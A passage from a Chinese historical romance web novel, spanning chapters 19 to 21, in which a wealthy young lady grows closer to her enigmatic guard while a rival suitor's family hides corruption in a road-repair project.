钱映仪远远望见璎娘,爱听她那一把好嗓,心内愈发喜欢,忙不迭过来,笑道:“你来啦,我午晌时正想听你唱戏,还怕你不得空过来呢,看来是真有缘哩。” “不敢当,”璎娘在外头还自在些,进了这门户里,受宠若惊下愈发惶恐,“小姐请咱们来唱戏,是咱们得了小姐赏赐的福气。” 晏秋雁与温宁岚两个早早就乘马车过来,见这璎娘也仿佛有些好感,晏秋雁便一揽钱映仪的臂弯,“好嘛,叫我来听戏,就不要把我和岚岚撇在一边,我也好奇呢,不知她唱得如何?” 钱映仪拿眼睛乜她,“噗嗤”一声笑了,客客气气请璎娘带戏班子开唱。 璎娘来时得了干娘嘱咐,务必要攀好这高枝,因此也唱得卖力,眼波横流,欲语还休,把周遭一干小丫鬟都吸引来,止住了手中的活,就静静立在原地听她唱。 唱到第六出时,不防有个小戏子太过紧张,“嘭”的一声与另一个撞到一处,锣鼓声登时停了片刻。 那小戏子头一回进这样的门户,胆子又小,犯了大忌,当即匍匐在地,一连迭向三位小姐磕头。 把钱映仪怔得半晌没动,回过神来才忙道:“我不怪你,你这是做什么?快些起来。” 璎娘面色发白,恐这大好的机会溜走。 好在钱映仪本就没想迁怒,挥挥帕子让戏班子就此作罢,招来璎娘问:“不必害怕,我今日请你们来,本就是排解无聊,你们这戏班子唱得好,我日后还请你们。” 又喜滋滋道:“只是没戏听了,能否与我们也讲一讲外头有什么趣事?” 机灵的戏子不少,有个扮书生的少年赶忙上前,轻问:“不知小姐想听些什么?” 他料想这些小姐常居门户,对外头的事迹想必十分好奇。 钱映仪剔眉轻笑,“哦?看样子你知道不少?” 少年殷切切跟着笑,“常在河边卖唱,多少也知道些。” “那你随意捡一件来说。” “得嘞!”少年暗自在心中琢磨,想及都是闺阁小姐,大约爱听些情情爱爱的事迹,便说了一桩才发生不久的事与她们。 话说大报恩寺后头的街巷里,住着一户商户,那商户姓胡,家中有个小姐养得娇滴滴的,已至十九岁,却迟迟不肯嫁人。 前几日传了些风言风语,竟说胡小姐要与人私奔。 晏秋雁一惊,“哟,私奔?好端端地,私奔做什么?这胡小姐早已心有所属?她爹不同意?” 少年道:“小姐聪慧,那胡小姐拖着不嫁人,便是为了心尖上的官人,那官人姓白,白家与胡家对门而居,两家从前也时常走动,那白官人的爹娘早年生意繁忙,便将白官人托付在胡家,想来二人在那时就已生情” 温宁岚绞着帕子听得认真,“青梅竹马?也是一桩良缘,那为何要不同意呢?” “小姐听我细细说来,”少年接着道:“听人说,那时白、胡两家是有结亲的意思,时常在私下以亲家相称,只是后来胡家生意渐渐如日中天,那白家却有些惨淡。” 少年笑得没脸没皮,“这世道,谁手里握的银子多,谁的眼睛就长得比旁人高一些,胡家看不上白家,又怎会同意,从那之后,两家渐渐冷淡下来,连守门的小厮远远见着,都不打一声招呼了。” “后来,那胡老爷替胡小姐择了门亲事,对方也是商贾之家,可就在当夜,胡小姐不知哪来的胆子,竟命身边的丫鬟送信与白官人,约他一并逃离家中,另去一方天地。” 少年手一摊,“只是还未逃出几里地,就被胡老爷亲自捉了回去,听闻那白官人被胡老爷的小厮打断了一截腿骨,胡小姐泪洒衣襟,跪地求胡老爷放过白官人,这才草草收场。” 晏秋雁唏嘘,“真是一对可怜人。” 温宁岚道:“明知不可为而为之,有时也令人叹然。” 凑巧这时隔壁又搭台唱戏,晏秋雁好奇竖起耳朵听了片刻,扭头问钱映仪:“你家隔壁不是没人住?几时搬了新邻居?” 钱映仪摆摆脑袋,“我也不知是何人,前些日子搬来的,戏倒是日日唱。” 这话叫璎娘听进心里,想及那惊鸿一瞥,又暗道那句“不可为”,心中暗自检算一番,还是上前笑道:“说来巧哩,咱们这一班人进巷子里时,正遇上隔壁开门,是个年轻官人,还与您家的丫鬟说了两句话,听说是姓裴。” 钱映仪没放在心上,唇畔牵出一抹笑,看天色尚早,想与两个手帕交再逛逛园子,便使夏菱给戏班子一些赏钱,又与璎娘道:“今日辛苦,改日再来吧。” 得了准话,璎娘心中窃窃高兴着,又暗瞟墙的另一头,旋即问:“下回小姐想听什么呢?我们几时上门呢?” “把今日这《琵琶记》继续唱完便是,至于何时来约莫隔个十来日。” 璎娘乐呵笑了,忙招呼戏班子如何来就如何走,没几时园子里就只剩三位小姐手拉手晒太阳。 三人并排走在花从里,因有些晒,几晌就走出汗来,晏秋雁还把自己沉浸在那故事里,胳膊肘一拐钱映仪,问道:“嗳,你方才怎的不说话?” 钱映仪瘪瘪唇,“又不是什么悲天泣地的故事,我说什么?” 她道:“胡小姐暂且不论,那白官人大有问题。” 温宁岚歪脸窥她,等她继续往下说。 钱映仪由太阳晒得眯了眼,顺势往凉亭里坐,将一壶茶挨个倒进杯盏里,倒得整整齐齐,“明知不可为,就不要再去勉强,那白官人一经撩拨就与胡小姐跑了,他是个男人,可有想过,二人可以抛却世俗骂名去厮守一生,但二人自小过的都是不节衣缩食的好日子,届时一无功名在身,二没有挣钱的本事,吃不饱饭时,轰轰烈烈的爱又往哪搁?” “哟,你还懂挺多呢,”晏秋雁夺来一杯茶淡呷,倏然问了个突兀的问题,“那你可知燕三郎对你有意?” 温宁岚也笑眯眯不语。 三人再说了些什么,秦离铮不愿再听,把脸侧去一旁,闷不吭声。 小玳瑁在一旁阴仄仄笑,“听明白没?明知不可为,就不要再去勉强。” 不提倒还好,这话不知如何激了秦离铮一下,他本意是不想在钱映仪口中听到燕如衡的名字,只稍顿片刻,就往另一头行去。 旋即越过春棠,将簪子递与夏菱,薄唇轻启说了句话,夏菱登时古怪瞧他一眼,没说什么,抿唇往钱映仪那头去了。 这厢仍在说,钱映仪下颌扬得高高的,欣欣而笑,“对我有意的人多了去了,怎地,我是瞧他脸生得漂亮,但不代表我就要嫁他。” “我说过,要嫁,我就嫁最好的。” 余下两个捂着帕子偷笑,附和道:“是是是,我们都晓得,你是要回京师嫁人的。” 说到此节,夏菱轻步近前来,悄悄将发簪搁在钱映仪手心里。 钱映仪讶然望她,“这簪子何时送去修过了?” “林铮说,他向春棠要去修的。” “他?”钱映仪不由地起身,行至凉亭外,横袖把刺眼的阳光遮一遮,细细在附近搜捡他的身影,在一处廊柱后头发现了他,高高的肩骨欹在廊柱上,姿态散漫与小玳瑁说着话,她声音不自觉轻了些,“怎么不告诉我?” 手里的发簪不防被晏秋雁夺了去,“你这侍卫还能替你修簪子呢,我瞧瞧。” “咦?这是什么味道?” 夏菱跟在钱映仪后头紧抿着唇,半晌附耳贴去轻语,“林铮说,有他在,小姐日后不必再怕虫了。” 日头正盛,这话像刺了钱映仪一下,叫她霎时回到十日前那个慵懒下午,彼时,云滕阁只有他与她。 她往后退了半步,神情古怪盯着那道离得远远的背影。 她问:“簪子呢?” 簪子呢?夏菱惊觉小姐出神,杏目圆瞠,转脸去瞧晏秋雁手上那发簪。 簪子方才就被晏小姐夺去瞧了,小姐这就不记得了? 夏菱忙往晏秋雁手里取来簪子,重新递与钱映仪。 钱映仪垂眼盯着手里的发簪,还是从前那海棠花的样式,只是多了些不一般的味道。 她把簪子斜在天光下瞧,终于在里头窥见丝丝暗色。 耳边有温宁岚在低呼,“我说什么味道呢,想起来了,我原先被虫咬,也是怕得厉害,我奶妈妈就想了个法子,往我的手镯里塞满了防虫的香料,自那以后我就没见过虫了。” “就是这股味,我犹记得。” 晏秋雁笑,” 你还被虫咬过?我怎么不晓得?好啊!你竟还背着我有秘密!” 钱映仪心底像有什么撞了撞,她晃一晃那簪子,目光不由自主地飞向那道身影,那个午后,她被虫惊得止不住地跳脚,碍于下人们都不在,她被迫只能求助于他。 他那时戏弄她,真的很讨厌。可他又暗地里替自己的簪子里加了些防虫的香料 “嗳,出什么神呢?”晏秋雁冷不丁凑过来拍一拍她。 钱映仪惊了一跳,闪避的眼四下乱转,好似她的心里也忽然多了个不可言说的秘密,只她与他知晓,生怕被旁人窥探了去。 第20章 自打请过戏班子来家中唱戏,钱映仪又坐不住,总想往外跑一跑。 这日正从外头回来,穿堂而过时,与许珺碰了个正好。 许珺是家中独女,娘家在江宁县,早两年一双父母依次离世,想及快到清明,便使下人买了些蜡烛元宝,欲先向府学替钱其羽告假,旋即母子二人往江宁去祭拜。 这会子碰上了,钱映仪眼珠一转,便笑嘻嘻问:“二婶婶,我能不能同你们一起去呀?” 许珺诧然,“先前要你去你都不愿意,这回怎么改性子了?” 钱映仪揽过她的臂弯,止不住地撒娇,“我想去嘛,您知道,我这几日无聊得快疯了。” 许珺拗不过她,只得妥协下来,没几时婶侄两个就亲密不分,一并坐上马车往府学去接人。 钱其羽向来不爱念书,此举正合他心意,穿着府学的襕衫就爬上了马车,想是在府学里的空地才玩耍过,一脸的汗。 “噫,坐得离我远点。”钱映仪嗅到那丝汗味,瞥他一眼,一屁股挪去角落里。 偏生钱其羽要与她说那俞敏森,一个劲的往她跟前扑,“阿姐,你晓不晓得,俞敏森被他爹接连打了好几日,哦,上回归家与你说过了,他今日才来府学呢!我们这一班同学面上没表情,背地里快笑话死他了!” 钱映仪一连迭敷衍点头,“知道了知道了,你往远些坐。” 许珺笑看二人打闹,只叹:“若你是我的女儿,我现下不知有多幸福。” 大半个时辰的功夫到了江宁,又花了一炷香的时间寻到一处山脚。 在许家二老坟前,许珺难免有些伤感之态,拉着钱其羽祭拜时,不禁潸然落泪。 钱映仪也与二老上过香,俄延半晌,将这难能有一次的机会留给母子二人,只轻声道:“二婶婶,我四下转转,待会在马车里等您。” 言讫,旋身拨开杂草,自顾往不远处的一片湖边走。 伴着潺潺水声,有道脚步停在身后,钱映仪扭头去望,神情讶然,“你怎么过来了?不是叫你守在那边?” “守好小姐才是要紧事。”秦离铮把眼落在她的裙摆上,精致的刺绣上沾了些杂乱的叶子,“小姐,这里脏了。” 日影高悬,钱映仪谨记上回教训,不敢再站在浓荫密匝的树下,当即垂头去瞧,这一眼心里就不太爽利。 手下意识往袖管子里去探,却想起帕子被落在马车上,因此向夏菱招招手。 夏菱忙抽出帕子,岂知还未靠近钱映仪,就见高高大大的侍卫俯低腰身,两三下拂去了那裙摆的杂叶。 “”石子路面拉着二人绞缠的影,斜斜绵延至湖里,钱映仪蓦然踩中一颗石子,手不由地攫紧,“谁许你自作主张的?” 秦离铮拍一拍手,站直了又比她高出大半截,“随手的事。” 神情十分坦然,倒衬得钱映仪过于紧张。 钱映仪左右张望,一时觉得此处的太阳仿佛更晒,当即要“逃离”去另一处地方,方走两步又顿住。她又在逃什么? 于是立在原地不走,捡了两颗石子往湖面扔,余光瞥了眼身旁这人,把下唇抿一抿,道:“你修那簪子花的银子,报来我听,我换成月钱给你。” 秦离铮也跟着她的动作捡起石子,却不扔,只放在指腹轻磨,“不必,只要小姐日后少锤我两拳,就算平账了。” 他又借机戏弄她! 钱映仪那双亮晶晶的眼又瞪向他,她今日施妆傅粉,抹了口脂的唇嫩嘟嘟的,并着两腮扑了层淡淡的胭脂,尤显明艳。 秦离铮把那石头抛向空中,复又接住,旋即往湖面狠狠一掷,渐起一圈迸开的水花。 钱映仪贪玩,须臾来了兴致,也捡了两块石头去学他,效果微乎其微。 她不大服气,捡了石头又要扔,正反复找位置时,小臂贴上冰凉的剑鞘。 那剑鞘擎着她的腕子,像夏日里的冰贴在身上,把她的手轻挪至一个方位时,耳后传来一阵低语,“再扔。” 钱映仪面上出了一层薄薄的汗,大约是这个缘故,她又觉得有些热,听着湖水撞击的声音,她迟迟未动,像掉进个冰火两重天的窟窿里。 “嗯?”身后那人见她不动,又用剑鞘托一托她的胳膊。 钱映仪陡地回神,用胳膊肘恶狠狠去击他,“我会玩!用得着你教?” 旋即接连捡了几块石头,一连迭往湖里扔。又伏腰把一双手洗净,不欲再与他讲半句话,领着两个丫鬟兀自往马车那头去。 路上她有些愤然,捉着夏菱问:“夏菱,你说,我是不是太惯着他了?” 夏菱方要启唇说话,钱映仪又自顾道:“算了,回去再与他算账,去瞧瞧二婶婶好了没,来时她说要在江宁转转,我正好也跟着耍一耍。” 一路折返回去,远远见着许珺正领着钱其羽往这头来,钱映仪便打帘钻进了马车坐着。 这厢暂且按住不表,但说江宁县衙这头,燕如衡正埋首批注公文,不防进来个班头,正是先前跟他那位,姓袁。 袁班头神色严肃,又带几分惶然,忙与他打一拱手道:“大人,长乐街的修缮出问题了。” 燕如衡笔尖一顿,猛然抬头,“带我去。” 一路紧赶慢赶,赶至长乐街的街头,远远就见一人架了把椅子坐在修缮道路的一旁,走近了,燕如衡暗暗打量其穿着,扫视到他拇指上一块玉扳指时,心中咯噔两声,忙向他作揖:“陆公公。” 正是那位守备太监——陆觉。 大半个时辰前,陆觉照往常一般出皇城买酒喝,一路行至河边,撞上个乐馆东家,那乐馆东家不认得他,只连连说对不住。 陆觉鼻子却灵敏,在那东家身上嗅到一丝极好的酒香,忙不迭追问这酒在何处买的。 那乐馆东家笑笑,倒心善助人,与他道:“哟,您是行家,我今日的确是吃了些酒,这酒啊,是我在江宁长乐街一间酒肆买的,您平日也爱吃两口热酒?” 陆觉心中欢喜,当即掏出个银锭丢与东家,请他带路。 岂知到了江宁这长乐街,好酒尚且还未喝上,陆觉下马车时,一脚踩中一滩灰泥,这一细看,登时就变了脸色。 那乐馆东家不明所以,“您怎么停下了?” 陆觉自有凌然之气,与他一拱手,道:“你只管将那酒肆名字告知与我,我现下有些事要办,今日多谢。” 乐馆东家只得点一点头,自顾离去了。 陆觉乃守备太监,平日也有人跟着,他架张椅子坐在此处,手下的人自然就守在一旁,周遭百姓茫然惶恐,只远远探着脑袋够眼去瞧。 陆觉掀眼淡扫燕如衡,笑道:“先前就听说江宁调来个新任县丞,是燕府尹家的儿子,今日一见,果真一表人才。” “不敢当,”燕如衡微垂着头,“陆公公怎么会来江宁?” 陆觉阖着眼,脸皮上噙着似笑非笑,“我不来,怎知你江宁的县衙如此大胆,竟敢用些劣等泥浆以次充好?” 他声音不大,这话也没叫百姓听见,见燕如衡不搭话,他又道:“皇上年关时与我通了折子,我听说户部的账目不对,涉事的官员个个在殿前受了罚,我想 ,小燕大人应当没有这么蠢吧?” 燕如衡暗暗心惊,只道他这话就差没指名点姓,他想辩解一二,可这陆觉最是机敏,又一惯正直,唯恐祸从口出,俄延半晌,才笑道:“陆公公这是说的哪里话,为着修缮这条路,下官早已行文送去应天府,用的皆是上好的泥浆,只是先前县衙到底人手不够,另请了一批新的工匠,也许是哪个工匠和泥时失了分寸,这才叫陆公公误会。” 陆觉这时起身往四周转了两圈,也不预备与他再多费口舌,只道:“既是如此,那是我错怪小燕大人,这江宁我来得少,过些时日还会来,届时我也来这新修的长乐街转一转,希望真如小燕大人所言,用的皆是上好的。” 言讫,命人收了椅子,自顾离去。 燕如衡脸色不大好看,那袁班头心头惶恐,忙问:“大人,怎么办?” “怎么办?”燕如衡倏地瞥他一眼,目光凝成实质性的冷,“你可知他祖上做什么的?泥瓦匠!今日由他给撞上,咱们半点法子也没有,倘或真叫他再察觉出什么,我有九条命都不够死的。” “回县衙,请人行文送去应天府,该报多少万两的银子,就报多少,其他的我来管。” 袁班头当即领命就走。 燕如衡眉心打结,心头窝火,左思右想一阵,始终觉得何处不对劲,陆觉向来只在应天府那头走动,好端端地,来江宁做什么? 他一路沉思,渐渐走过一座桥,不防有人在一旁唤他,“燕大人?” 声音细细的,燕如衡脚步顿住,倏然转背去望,见果真是她,立时拂走心事,向她走近了些,“钱小姐,你怎么会来江宁?” 晴光扫过钱映仪的脸,照得她的两腮红扑扑的,她一指他身后的铺子,客气道:“陪二婶提前来祭拜先人,二婶在里头闲转,我出来透透气。” 她笑起来时肩头会轻轻往上耸,“燕大人瞧着,好像不大高兴?” 燕如衡想再离她近些,于是又往前迈两步,抿着唇笑,“不是什么要紧的事。” 也许是有些惊喜,他复又开口,只是声音不大,“我听他们都唤你映仪,我能不能也跟着一起?” 怎知一旁的侍卫上前来,低声道:“小姐,太太在二楼瞧你。” 钱映仪倒退两步往上瞧,果真见许珺笑吟吟立在窗后朝她摆手,她也笑着摆回去,半晌收回目光,这才道:“对不住,方才没听清,燕大人说什么?” 燕如衡这时琢磨出不对劲,头一回没先搭她的话,反倒把毫无波澜的眼色投向她身边的那个侍卫。 仿佛每一次,这个侍卫都在不经意间扰乱他与她说话。 他的疑心倏然变得沉重,眯了眯眼,话锋一转,“我听他们都说你身边的侍卫厉害。” 他望向钱映仪,“你的侍卫,好像不似寻常人。”—— 作者有话说:每晚11点更新《 》 20-25 第21章 绵里藏针的一句话,叫钱映仪不禁凝视侍卫一眼。 杨柳簌簌,遮蔽住一丝斜倾来的日光,秦离铮站在阴处,趁钱映仪扭头望燕如衡的间隙,向他牵出一丝无情无绪的笑。 下一刻,他敛眉垂眼,往后退了些,拉开了自己与钱映仪的距离。 燕如衡眉心轻结,这侍卫是故意为之。 沉默片刻,燕如衡向钱映仪温和问道:“听秋雁说,他是你捡回来的?” 不知为何,钱映仪觉得他方才的话有些汹汹,此刻又温和下来,前后态度实在古怪,她稍抿下唇,复又去看侍卫。 这一眼就叫她倏然顿住。 很是奇怪,他那张冷淡锐利的脸上,还能出现一丝委屈之色? 燕如衡渐渐敛了笑,目光越过钱映仪去看侍卫,“你的功夫,是在何处学的?” 秦离铮伴着棵杨柳树倚靠,倒不避燕如衡的言语机锋了,神情认真道:“燕大人急着问我,对我一个侍卫这样感兴趣,是在怀疑小姐什么?” “难不成燕大人出来转一转,把衙门办案的本事也带来了?” “怀疑”二字由他嘴里咬得格外的重,眼见钱映仪渐拧月眉,燕如衡顿了半晌,才道:“我没那个意思。” 钱映仪窥他那张尤其漂亮的脸,依旧如上回从蔺家出来一般,总觉得少了些滋味,因此只客气道:“正是瞧他身手好,爷爷才留他当我的侍卫,我也好奇,燕大人今日怎会对他感兴趣?” 这侍卫牙尖嘴利,三言两语给自己脚下挖了个窟窿,倘或再说下去,岂非中了他的计? 燕如衡匆匆换了副神色,笑道:“只是那日见他身手极好,随口问问。” 巧在这时钱其羽也逃出来,一见秦离铮就喜滋滋跑过去,跑过半路才发觉阿姐面前站了个人,又倒退回去,看清后才笑,“燕大人?” 起先他还唤句三哥哥,这会子却是倏然生疏,燕如衡面上仍是从容平静,俄延半晌,低低笑出声,开玩笑似的与姐弟二人道:“总叫大人,我倒真像来办案的了,我听了实在不习惯,不如还是叫我名字,或是与旁人一般,唤一句三郎。” 钱其羽少年心性,料想不过是一句称呼罢了,因此点了点下颌,只与他打一拱手,“三哥哥。” 燕如衡眉目舒展开,还要再说,钱其羽却巧妙避开他,歪脸往铺子里瞧,嘻嘻笑道:“娘!这儿!” 许珺早在二楼就窥见燕如衡,掀眼扫量天色,估算归家或许已然天黑,便笑道:“哟,是三郎啊,巧了么不是?真是对不住,倘或还早,我就使两个孩子在江宁四处转一转了,只是家里还有两张嘴等着吃饭,现下晚了,三郎莫怪。” 钱家丫鬟小厮成堆,用得着她一个太太去烧饭?燕如衡心中明白,钱家人对他不说排斥,却也不亲近,因此只拿出晚辈的礼节,伏腰作揖,“太太莫怪三郎未曾招待才是。” 旋即转背离去。 这厢许珺见钱其羽不讲理缠着侍卫,要侍卫再教自己几招,忙不迭“啪”地一下拍在他后脑勺上,揪住他的耳朵往马车里去。 “学什么?出来松散半日,已是你的福气,回了应天府,你给我老老实实回府学住着去!家里今日可不管你吃喝拉撒!” 钱映仪立在原地乐呵呵地笑。 秦离铮脱开身去唤她上马车,待离近了,蓦然察觉已然走远的燕如衡正遥遥回望这头。 他也像是被钱映仪的笑浸染,跟着轻笑两声,离她愈发地近,宽厚的肩背遮住她的身形,拿剑鞘抵着她的背心往前轻戳,“小姐,回去了。” “诶诶诶,你推我做什么!”钱映仪被推得往前奔了两步,她顺势要躲开,岂知那剑鞘跟在她背后扎根似的。 剑鞘很冷,身后那抹温度却有些烫。 她陡然往一旁让一让,凶巴巴攮了这人一下,“我问你做什么!” 秦离铮稍稍弯腰,笑道:“太太和少爷都等着小姐呢,再晚些,回家时就真的天黑了。” 钱映仪眸色不变,方才被他推得有些气吁吁,小脸也浮着淡淡的红,使那层薄薄的胭脂更艳丽一些。 她眼风瞟向马车,正巧见许珺打帘催她,现下也顾不得与他算账,丢下一句“要你管”,旋裙匆匆跑了去。 待她钻进马车,那缃色的帘子遮得严丝合缝后,秦离铮才渐渐站直了身体,回身睃寻燕如衡的身影。 街道熙攘,烟火气扑面而来,凝着燕如衡那面沉如水的神情,秦离铮自眼梢泄出一丝笑。 日影透过砖瓦倾斜下来,淡淡灰尘浮现在光束里。 或许就在此刻,两副心肠宛如这些相撞的灰尘一般,就这样悄无声息地展开了一场交锋。 日暮倾斜,一弯月自晚霞里升起,将钱其羽扔回府学,再归家时,正好与钱兰亭碰到了一处。 知他们去了江宁拜祭,钱兰亭搜寻两眼,不见钱佑年的身影,把眉拧紧,“老二怎么不陪着 你一道去?” 许珺道:“哎唷,就是去拜祭拜祭,他这县衙的官做得远,永平不比上元、江宁,他一来一去要多花好些时辰,也省得麻烦,我就没有叫他囖。” 言讫忙匆匆进了宅子,使丫鬟婆子去厨房催晚膳。 钱映仪笑嘻嘻凑去钱兰亭身侧,道:“爷爷,工部很忙吗?我都好几日没见您了。” 工部近来确实忙,开年时巡检皇陵发现其需要修缮,每年走运河运送物资的船只也查出有老化之迹象,折子往上递了没半个月,皇上便下令重造船只。 南直隶工部分为四司,赶巧那负责造船的都水清吏司官员染了急病,接连多日瘫在床上起不来身,这监督造船的任务便落在钱兰亭身上。 公事都堆在一处,钱兰亭近来总忙至夜深才归家,天未亮又出去,祖孙俩着实好几日未见一面。 钱兰亭笑睇她一眼,摸一摸她的脑袋,“想爷爷了?” “想,怎么不想?”钱映仪轻掣他两下,催他进门,祖孙两个半晌行至摆饭用的小花厅,窥他面上疲态,钱映仪乖顺替他摁着肩,顺口说起:“爷爷,今日我们在江宁碰见燕如衡了哩。” 钱兰亭欹在椅上,面色不改,“都说了些什么呢?” “也没说什么,我和弟弟都记着您的教诲呢!” 钱兰亭却冷不防笑了,“哪需要如此谨慎?爷爷是说不要与他家攀上关系,不是叫你们时刻防着人家不来往,日后若碰见了,该如何耍,只管耍就是。” 闻言,钱映仪没再说什么,只把话记下,旁的东西先不作他想,随他去。 晚膳摆了一道挂炉鸭子,一碗酸辣羊肚丝,一碟油煎毛豆腐,并三块烙得喷香的玉米饼。 钱映仪在外头打转一日,吃得多了些,搁筷把嘴轻轻揩拭干净,便抚一抚肚皮,瘪唇道:“这夜里可怎么睡呀” 岂知一语成谶,入夜陷在床榻里,钱映仪翻来覆去睡不踏实。 倒不是腹中饱胀,而是平躺时,总觉得床上也平白无故长了块石头出来,硌得她的背止不住的难受。 隐听河岸欢乐,醉酒笙歌。钱映仪睡不着,索性捡了件披风将自己兜得严实,坐在案前把先前那志怪故事给续写一番。 屋子里掌着明亮的灯,钱映仪未用那黄纱罩,烛火扑腾几番,渐渐地,有些燥热。 钱映仪顺手把窗推一推,院子里是昏暗幽静,丫鬟们都已陷进梦乡。迎面扑来一阵风,她仰面窥一窥满天繁星,愈发没了睡意。 这一欣赏,笔尖悬的墨汁渐渐往下洇,待钱映仪发觉时,已蔓延成一个突兀的墨点。 “嘶”钱映仪忿然,捉着那张纸来回看,“我好容易写了这么多!你脏了,我还怎么用你!” 竟是与纸说起话来。 她这毛病一犯起来,瞧什么都不大顺眼,一时摆弄案上书籍,一时又觉得后背仍不爽利。 想及此节,钱映仪倏然将罪责安在侍卫身上。若非是他拿那冷冰冰的剑鞘杵着她,她怎会如此? 都怪他! 钱映仪摸了件褂子穿上,又扎着鹅黄的裙,虽没打扮,但到底能见人,气势汹汹拉开门时,给掌灯打络子的春棠吓一跳。 春棠忙不迭迎过来,钱映仪却只是向她摆一摆手,只比划两下,说是不必跟着。 钱映仪行至院中,四面搜捡一圈,不见侍卫的身影,想他该是在哪个角落躲懒,便擎着一盏灯笼往外走,誓要揪出他,再狠狠罚他一顿! “小姐在找我?” 她背后冷不丁出现个声音,唬得她薄薄的肩头一耸,险些跳脚,恐吵醒小丫鬟们歇息,她紧咬牙关,问:“你要吓死我是不是?” 秦离铮凝视她的穿着,眸色微闪,顷刻稍转下颌,“怎么出来了?” “哼,你还好意思问,”钱映仪暗暗把唇瘪着,满心都是怨,“若非是你,我早就睡了!” 年轻人轻挑一边眉,有些兴致,嗓音低低的,“与我有何干系呢?” “还不是因为你”说到此节,钱映仪匆匆闭嘴,暗自琢磨这话要说出去,倒像她好是因他才辗转难眠,其中含义大变,她才不要吃这记亏。 因此她把灯笼高悬至腰间,由那扇光反照她的脸,阴仄仄道:“我要罚你。” 秦离铮看她一眼,“罚什么?” “罚你”她往后退了两步,觑着眼把他上下扫视,本想钻研个磨人的法子罚他,目光扫及他劲瘦的腰身,蓦然想起当初捡他回家时,他仿佛是伤得不轻。 于是她话锋一转,语气不自觉也软了一些,“今夜大家都睡了,我若在此刻罚你,倒显得我做小姐的不通人情,明日再罚!你现在跟着我去园子里,不许说话,不许靠得近,不许吓我!” 秦离铮依旧被她天生的这股柔软吸引,也在她看不见的一刹那把笑意变得温柔,旋即顺手接过她的灯笼,替她在前头引路,不发一言。 铜漏声声,钱映仪的裙摆飘飘,一路行至一处小花园,她不欲再走,随意倚栏窥月。今夜雾散风轻,正是良辰美景。 大约是侍卫安静得过了头,她稍稍转头,最终打破先前说的话,问:“嗳,我也好奇,你说你身手那么好,那我遇见你时,你怎么会受伤呢?” 她神色认真凝着他,秦离铮暗磨牙关,险些就要把一切交代与她。 想及那张网织好兜人时,兴许是兜住一片血色,他不愿将她牵涉进这错综复杂的计划里,便道:“意外失手。” 钱映仪撇撇唇,当作听过了,也没有再追问不休的意思,复又抬脸去欣赏由星星钩织的银河。 约莫是起了个头,她时不时窥他两眼,陡然在他指骨间发现一抹亮色,“咦”了一声,遂往他那头靠近一点,目光落在他的手上,“银戒?” 秦离铮垂眼盯着,声音很轻:“嗯。” 他立在原地静了片刻,把她身上那抹零陵香嗅进腹中,窥她还歪着脸瞧他的手,下一刻,便把那碍事的灯笼高高挂起。 也正是这一动静,使钱映仪瞧清他两只手上都戴了银戒,且左手与右手戴得不对称。 她抿了抿下唇,心头复又生痒。 她是他的主子,虽说不该管他这种细枝末节,可是倘或她提出来,他会照做的吧? “你、你的戒指为何有两个呢?”月色光辉流溢,把她稍稍垂眼的脸照得益发清晰,她今夜并未施妆傅粉,两侧耳洞也空荡荡的,秦离铮却觉得她的身影像她从前戴过的耳坠,晃进了他心里,“你能不能把它们戴对称一些呀?” 话音甫落,钱映仪的目光隐含几分希冀,盼他听话,把银戒的位置换一换。 很可惜,今夜他偏不遂她的愿,只紧一紧指骨,来回转了转银戒,牵出一丝似笑非笑,“先前小姐不是说不要我管?那小姐管我做什么?” 钱映仪陡然一噎,暗自咬唇,正想说些无所谓的话来揽住面子,又在他的语气里听出几分迤逗,心也扑扑跳了两下。 长久的缄默里,只剩女人与男人那不同的呼吸,清浅的,沉重的,彼此听清有些燥热。 最终是秦离铮偏头扫量天色,转背取下那盏灯笼,“该回去睡了。” 空旷幽静的园子绽开花色,侍卫的脚步很沉,沉得钱映仪那微薄的力量挥不开,无法凝聚思绪去想别的,只在此刻,由脑子里冒出那根修补的簪子。 鬼使神差,她立在原地没动,轻问:“你为什么要往我的簪子里放防虫的香料呢?” 月辉斜斜洒在年轻人的一侧肩头,他没回头,只道:“因为我伺候小姐,不希望小姐害怕。” 钱映仪凝视着他的背,轻轻握了握拳,张嘴要说些什么,舌尖卷了一圈,只是轻轻舔着下唇,罕见地有些失语。 俄延半晌,年轻人迈开脚步往前走,稍转侧脸,示意她跟上,“夜凉了,再不回去睡,明日若是染了风寒,小姐可别怪我。” 一前一后行至云滕阁外,钱映仪接过那盏灯笼,心头渐渐平缓,想及他 先前在此处吓了她一跳,便偷瞥他一眼,问道:“小玳瑁时常偷懒搭窝,你呢?你平日都在哪守着?” 秦离铮答得言简意赅,“屋顶。” 钱映仪神情霎时古怪,“我是没钱管你们睡觉还是怎地?他不愿待在屋子里也就罢了,你倒更胜一筹了?” 她暗骂他傻,面上却不显,依旧把他扫量一眼,轻哼一声,“我歇息去了,若没睡着,明日你就等着受罚。” 言讫,兀自转背往寝屋走,把灯笼交与春棠,留个影影绰绰的风景给秦离铮。 往园子里打转一圈,着实有些寒凉,把双手与脸洗净,又换了身寝衣,钱映仪一头倒进纱帐里。 被衾柔软暖和,不知是不是错觉,背后那股不爽利的感觉早已消失不见。 她抬眼瞧着帐顶,沉默片刻,忽然想试一试他在不在,便轻轻喊:“嗳。” 窃窃的,声音很小。 岂知密封严实的屋顶传来两声叩响,闷闷的,沉沉的。钱映仪倏然一笑,暗道还真是个傻子,于是在被衾里翻了个身,没几时就睡了过去。 这夜花前月下,园子里的花枝渐渐凝聚几滴露珠,慢慢地,汇聚在一处。好像有什么不可言说的东西,也悄然靠近了些。 再说这燕如衡,赶在天黑时归家,甫一进书房便被迎头砸了一记,东西落下,才知是本随手捻起的书。 他抬头瞧,燕榆正沉脸坐在案后,一旁还坐着神色稍显尴尬的蔺边鸿,他弯腰捡起那本书,态度一如既往温和地向蔺边鸿作揖。 蔺边鸿膝下那蔺玉湖是个扶不起的,因此看燕如衡倒愈发顺眼,便出言拦一拦,“拿孩子出气做什么?难道不该怪陆觉?” 因陆觉陡然出现在江宁,这一检算,他们不得不多用银两补那上好的泥浆,甚至还要掏荷包贴补,燕榆哪能高兴得起来? 他紧绷着脸,倒也没说训斥的话。 燕如衡往蔺边鸿身侧行去,轻撩袍角坐下,垂眼道:“爹,儿子今日见到映仪了。” “既见了她,就要使法子令她高兴,令她记住你,”燕榆淡呷一口茶,语气平平,“光是见一面没什么用。” “是,儿子谨记。” 因陆觉的到来,打破了燕榆掌控一切的秩序,燕榆起身踱步,好半晌才定下注意,望向蔺边鸿,道:“你说得对,咱们还是得丢开手办事,不必再畏头畏尾。” 